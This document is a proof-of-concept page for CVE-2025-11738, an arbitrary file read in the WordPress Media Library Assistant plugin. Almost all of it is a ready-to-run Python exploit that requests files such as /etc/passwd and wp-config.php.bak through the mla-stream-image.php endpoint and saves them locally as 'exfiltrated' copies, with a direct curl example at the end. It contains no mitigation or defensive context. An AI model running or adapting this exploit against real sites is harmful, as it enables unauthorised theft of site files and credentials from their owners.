CVE-2025-11738 WordPress Media Library Assistant插件任意文件读取漏洞

# CVE-2025-11738 PoC - Media Library Assistant Arbitrary File Read # Affected: Media Library Assistant <= 3.29 # File: mla-stream-image.php import requests target_url = "http://target-wordpress-site.com" # The vulnerable endpoint vulnerable_endpoint = "/wp-content/plugins/media-library-assistant/mla-stream-image.php" # Files to read (ai/eps/pdf/ps formats supported) target_files = [ "/etc/passwd", # May not work - limited to ai/eps/pdf/ps "wp-config.php.bak", "secret_document.pdf", "internal_report.ai", "design_file.eps" ] def exploit_file_read(base_url, file_path): """ Exploit arbitrary file read via mla-stream-image.php The vulnerability allows reading ai/eps/pdf/ps files """ params = { "mla_stream_file": file_path, # File path parameter "mla_stream_type": "pdf" # Specify file type } try: response = requests.get( base_url + vulnerable_endpoint, params=params, timeout=10, verify=False ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read file: {file_path}") print(f"[+] Content length: {len(response.content)}") # Save the exfiltrated content with open(f"exfiltrated_{file_path.replace('/', '_')}", "wb") as f: f.write(response.content) return True else: print(f"[-] Failed to read: {file_path} (Status: {response.status_code})") return False except Exception as e: print(f"[-] Error: {e}") return False # Run exploitation if __name__ == "__main__": for file in target_files: exploit_file_read(target_url, file) # Direct curl example: # curl "http://target.com/wp-content/plugins/media-library-assistant/mla-stream-image.php?mla_stream_file=/path/to/target.pdf"